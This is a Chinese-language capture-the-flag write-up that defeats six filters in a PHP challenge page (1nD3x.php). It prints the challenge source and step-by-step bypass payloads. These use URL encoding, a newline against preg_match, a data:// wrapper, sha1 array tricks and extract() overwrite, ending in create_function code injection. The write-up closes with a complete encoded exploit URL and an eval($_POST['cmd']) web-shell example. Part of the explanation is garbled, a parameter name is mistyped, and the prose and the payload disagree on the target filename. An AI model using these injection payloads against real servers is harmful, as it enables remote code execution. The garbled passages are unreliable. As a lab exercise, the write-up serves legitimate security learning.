说明这里就有flag有关的东西
base32解密
1nD3x.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
第一个限制
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
因为$_SERVER[‘QUERY_STRING’]不会url解码,可以通过url编码绕过
第二个限制
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
preg_match值匹配第一行,句尾加上%0a进行绕过,绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。
payload:dedu=aqua_is_cute%0a
第三个限制
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST方式接收请求的优先级别默认情况下先接受POST,所以在get的同时post数字就可以了。
payload:POST:debu=1&file=2
第四个限制
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
这里利用data协议即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
与此同时file也需要被post一下。
第五个限制
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
因为sha1无法处理数组,当sha1()的参数为数组,就会返回false,所以可用数组绕过
payload:shana[]=1&passwd[]=2
第六个限制
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
这里用到了create_function()代码注入
create_function()函数有两个参数
a
r
g
s
和
args和
args和code,用于创建一个lambda样式的函数
例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于:
function myfunc($a, $b){
return $a+$b;
}
当第二个参数无限制时:
$code=return $a+$b;}eval($_POST['cmd']);//
就会变成:
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}
上一阶段sha1比较的过程中,extract($_GET["flag"]);
这里我们可以进行变量覆盖,从而掌控住arg变量与code变量。
同时根据上面的可以通过闭合符号来执行自己定义的函数:
&flag[arg]=}a();//&flag[code]=create_function
拼接过后就应该是:
function {}a();//}
这个a我们是可以随时改成其他的函数的。
但是此时很多函数都被禁用了,文件中包含了flag这个文件,利用get_defined_vars()将所有变量与值都进行输出,此时payload就为:
flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
输出出来但还不是真正的flag,提示是在另一个文件里面,flag4.php,此时可以利用require,来代替include,利用base64编码绕过flag的过滤,利用require()来代替require" "。
http://a9f790f1-3df5-4d89-9a4e-7c778bc45274.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23
debu=1&file=1